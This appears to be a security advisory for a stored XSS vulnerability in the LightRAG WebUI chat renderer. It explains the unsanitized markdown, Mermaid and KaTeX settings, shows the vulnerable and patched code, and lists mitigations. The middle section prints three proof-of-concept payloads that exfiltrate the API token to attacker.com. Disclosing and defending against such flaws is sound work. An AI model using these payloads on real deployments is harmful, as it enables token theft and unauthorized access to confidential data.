CVE-2026-86062: Stored Cross-Site Scripting (XSS) in HKUDS LightRAG WebUI Chat Renderer

Retrieval-Augmented Generation (RAG) frameworks like HKUDS LightRAG optimize large language model (LLM) responses by querying external knowledge databases and integrating retrieved document chunks into the prompt context. This architecture introduces a distinct trust boundary. The system processes external, untrusted documents, stores them in vector indexes, and later reflects them in the chatbot interface. When security assumptions fail to account for malicious payload preservation during this cycle, the document storage pipeline becomes an injection vector.

In HKUDS LightRAG, the administration WebUI allowed users to upload documents and query the indexed knowledge base. The vulnerability resides within the React-based frontend component lightrag_webui/src/components/retrieval/ChatMessage.tsx. This component handles the rendering of both the assistant's final response and the detailed retrieval steps (referred to as the "thinking" block). Because the component failed to sanitize the raw output before injecting it into the DOM, it was susceptible to Stored Cross-Site Scripting (XSS) mapped to CWE-79.

An attacker who can ingest or modify documents in the knowledge base can introduce malicious HTML, SVG, or JavaScript vectors. When a legitimate administrator or user performs a query that retrieves the compromised chunk, the client WebUI renders the unsanitized payload. The script runs with the permissions of the victim's browser context, enabling actions such as session hijacking, administrative token exfiltration, and unauthorized access to the LightRAG API.

The root cause of CVE-2026-86062 is the absence of an HTML sanitization layer combined with permissive rendering configurations inside ChatMessage.tsx. The component used the popular react-markdown library to render the structured chatbot outputs. While react-markdown safely escapes HTML by default, the LightRAG implementation specifically configured the renderer to parse raw HTML blocks.

This behavior was governed by two properties: the inclusion of the rehype-raw plugin and the explicit setting of skipHtml={false}. The rehype-raw plugin parses raw HTML tags within markdown files into an Abstract Syntax Tree (AST) so they can be rendered as valid DOM nodes. Without a secondary sanitization plugin such as rehype-sanitize, this configuration converts plain text strings of markup directly into executable DOM elements in the client browser.

Additionally, the WebUI initialized the Mermaid diagram engine and the KaTeX mathematical renderer with weak security baselines. Mermaid was configured with securityLevel: 'loose', which bypasses standard script isolation and allows custom javascript URI actions or malicious SVG script nodes. KaTeX was configured with trust: true, enabling macro instructions to load external resources or execute javascript protocols via hyper-links. Together, these flaws created three distinct paths for script execution.

The vulnerability was resolved in version 1.5.5 by incorporating the rehype-sanitize package and configuring a restrictive HTML sanitization schema.

Prior to the patch, the markdown renderer in ChatMessage.tsx processed raw input elements with no restrictions:

// VULNERABLE CODE PATH (Pre-v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[rehypeRaw]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

To patch the issue, developers modified the rendering pipeline. The patch introduces rehype-sanitize immediately after the raw parsing stage, passing a custom schema called chatMarkdownSanitizeSchema:

// PATCHED CODE PATH (v1.5.5)
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import rehypeSanitize from 'rehype-sanitize';
import { chatMarkdownSanitizeSchema } from '@/utils/markdownSanitizeSchema';
 
const ChatMessage = ({ content }) => {
  return (
    <ReactMarkdown 
      rehypePlugins={[
        rehypeRaw,
        [rehypeSanitize, chatMarkdownSanitizeSchema]
      ]} 
      skipHtml={false}
    >
      {content}
    </ReactMarkdown>
  );
};

In the utility module lightrag_webui/src/utils/markdownSanitizeSchema.ts, the custom schema inherits from the strict GitHub-style defaults but overrides specific elements. It explicitly limits class attributes and permits only safe elements (like <mark> or <u>), while automatically stripping <script>, <iframe>, and inline event attributes (such as onerror or onload):

import { defaultSchema, type Options as SanitizeSchema } from 'rehype-sanitize';
 
export const chatMarkdownSanitizeSchema: SanitizeSchema = {
  ...defaultSchema,
  clobberPrefix: '',
  tagNames: [
    ...(defaultSchema.tagNames ?? []),
    'mark',
    'u'
  ],
  attributes: {
    ...defaultSchema.attributes,
    code: [['className', /^language-./, 'math-inline', 'math-display']],
    a: [
      ...(defaultSchema.attributes?.a ?? []).filter(
        (attr) => !(Array.isArray(attr) && attr[0] === 'className')
      ),
      ['className', 'data-footnote-backref', 'footnote-ref']
    ]
  }
};

Additionally, the Mermaid configuration was updated to use securityLevel: 'strict', and KaTeX was updated to set trust: false. These changes prevent the execution of arbitrary scripts or the inclusion of insecure external assets during diagram or formula rendering.

An attack scenario involves a document-poisoning vector. Because the vector database processes and stores document chunks verbatim, any raw HTML tags inside the ingested files survive the ingestion pipeline. When a user runs a search query that retrieves these chunks, the LLM incorporates the untrusted content into the chat response.

Several functional Proof-of-Concept (PoC) payloads can exploit this vulnerability. The simplest method uses a broken image tag with an inline error handler:

<img src="does-not-exist.png" onerror="const token = localStorage.getItem('LIGHTRAG-API-TOKEN'); fetch('https://attacker.com/collect?token=' + btoa(token));">

An alternative approach targets the iframe element using the srcdoc attribute, which compiles and executes embedded scripts without requiring external document loads:

<iframe srcdoc="&lt;script&gt;fetch('https://attacker.com/collect?t=' + localStorage.getItem('LIGHTRAG-API-TOKEN'))&lt;/script&gt;"></iframe>

If the application supports Mermaid graph rendering, an attacker can construct a malicious flowchart that uses loose click handlers to execute arbitrary JavaScript within the diagram context:

```mermaid
flowchart TD
  A[Start] --> B(Execute Payload)
  click B "javascript:fetch('https://attacker.com/collect?t='+localStorage.getItem('LIGHTRAG-API-TOKEN'))"

These payloads execute in the security context of the LightRAG WebUI origin, bypassing standard access controls.

The execution of arbitrary scripts in the LightRAG WebUI origin leads to several severe security risks. LightRAG WebUI stores administrative secrets in browser storage. Specifically, the LIGHTRAG-API-TOKEN used to authorize API calls against the backend service is kept in localStorage. Accessing this token allows an attacker to bypass all frontend authentication.

With an exfiltrated API token, the attacker can interact directly with the backend REST service. They can execute administrative tasks, including querying internal document indices, deleting vector collections, or uploading additional poisoned files. This enables further manipulation of the LLM output.

In enterprise environments where LightRAG handles internal documentation, the attacker can use this access to extract confidential business data, internal code repositories, or customer records. The exploit does not require active server-side code execution vulnerabilities. By leveraging the client-side session, it bypasses network-level firewalls that isolate the backend APIs.

The primary remediation strategy is upgrading LightRAG to version 1.5.5 or higher. This update applies the necessary code-level sanitization using rehype-sanitize and hardens the configurations of Mermaid and KaTeX.

If upgrading is not immediately possible, organizations can apply temporary mitigations:

1. Implement a strict Content Security Policy (CSP) header for the LightRAG WebUI. This header should disable the execution of inline scripts and restrict script connections to trusted endpoints: Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.lightrag.internal;

2. Configure a Web Application Firewall (WAF) rule to block incoming document ingestion requests that contain dangerous HTML tags (such as <script>, <iframe>, <object>, <embed>, or HTML event handlers like onerror and onload).

3. Sanitize inputs at the ingestion pipeline before files are committed to the vector database. Filtering raw HTML elements from input documents reduces the risk of XSS payload storage.